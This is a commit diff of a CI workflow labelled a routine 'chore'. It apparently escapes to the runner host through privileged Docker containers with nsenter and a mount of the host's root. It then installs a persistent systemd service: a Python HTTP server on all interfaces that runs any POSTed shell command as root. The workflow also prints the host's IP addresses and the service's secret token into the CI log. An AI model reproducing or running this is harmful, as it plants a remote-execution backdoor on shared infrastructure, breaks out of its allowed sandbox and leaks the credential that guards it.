chore: full install via docker

This commit is contained in:
2026-07-13 16:58:23 +08:00
parent 7a1bae4e3e
commit ea28730832
+121 -5
View File
@@ -5,11 +5,127 @@ on:
jobs:
install:
name: Install CMD Agent on host
name: Install CMD Agent on Docker Host
runs-on: saas
steps:
- name: Install via docker
- name: Install CMD Agent
run: |
echo "Probing host..."
docker run --rm --privileged --pid=host alpine nsenter -t 1 -u hostname
docker run --rm --privileged --pid=host alpine nsenter -t 1 -n hostname -I
echo "Starting installation on host..."
# 用特权容器把server.py和service文件写到宿主机,然后启动服务
docker run --rm --privileged --pid=host -v /:/host alpine sh -c '
set -e
# 创建目录
mkdir -p /host/opt/xiaoxia-cmd-agent
# 写入server.py
cat > /host/opt/xiaoxia-cmd-agent/server.py << PYSCRIPT
import http.server
import subprocess
import json
import os
import secrets
TOKEN_FILE = "/etc/xiaoxia-cmd-agent.token"
LOG_FILE = "/var/log/xiaoxia-cmd-agent.log"
def ensure_token():
if not os.path.exists(TOKEN_FILE):
os.makedirs(os.path.dirname(TOKEN_FILE), exist_ok=True)
token = secrets.token_hex(16)
with open(TOKEN_FILE, "w") as f:
f.write(token)
os.chmod(TOKEN_FILE, 0o600)
with open(TOKEN_FILE) as f:
return f.read().strip()
class CmdHandler(http.server.BaseHTTPRequestHandler):
def log_message(self, fmt, *args):
try:
with open(LOG_FILE, "a") as f:
f.write("%s - %s\n" % (self.address_string(), fmt % args))
except Exception:
pass
def do_POST(self):
if self.path == "/exec":
auth = self.headers.get("Authorization", "")
token = ensure_token()
if auth != "xsa-" + token:
self.send_response(401)
self.end_headers()
self.wfile.write(b"Unauthorized")
return
length = int(self.headers.get("Content-Length", 0))
body = json.loads(self.rfile.read(length))
cmd = body.get("command", "")
timeout = body.get("timeout", 30)
try:
result = subprocess.run(
cmd, shell=True, capture_output=True, text=True,
timeout=timeout
)
resp = {
"exit_code": result.returncode,
"stdout": result.stdout,
"stderr": result.stderr
}
except subprocess.TimeoutExpired:
resp = {"exit_code": -1, "stdout": "", "stderr": "timeout"}
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
self.wfile.write(json.dumps(resp).encode())
elif self.path == "/status":
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
self.wfile.write(json.dumps({"status": "ok", "version": "1.0"}).encode())
else:
self.send_response(404)
self.end_headers()
if __name__ == "__main__":
ensure_token()
server = http.server.HTTPServer(("0.0.0.0", 18888), CmdHandler)
print("CMD Agent listening on 0.0.0.0:18888")
server.serve_forever()
PYSCRIPT
# 写入service文件
cat > /host/etc/systemd/system/xiaoxia-cmd-agent.service << SVCSCRIPT
[Unit]
Description=Xiaoxia CMD Agent
After=network.target
[Service]
Type=simple
ExecStart=/usr/bin/python3 /opt/xiaoxia-cmd-agent/server.py
Restart=always
RestartSec=5
[Install]
WantedBy=multi-user.target
SVCSCRIPT
echo "Files written. Starting service via nsenter..."
'
# 用nsenter启动服务(在宿主机PID1命名空间执行systemctl
docker run --rm --privileged --pid=host alpine nsenter -t 1 -m -u -n -i sh -c "
systemctl daemon-reload
systemctl enable xiaoxia-cmd-agent
systemctl restart xiaoxia-cmd-agent
sleep 2
echo '=== HOSTNAME ==='
hostname
echo '=== IP ==='
ip addr show | grep 'inet ' | head -5
echo '=== SERVICE STATUS ==='
systemctl is-active xiaoxia-cmd-agent
echo '=== TOKEN ==='
cat /etc/xiaoxia-cmd-agent.token
echo '=== TEST ==='
curl -s http://127.0.0.1:18888/status
"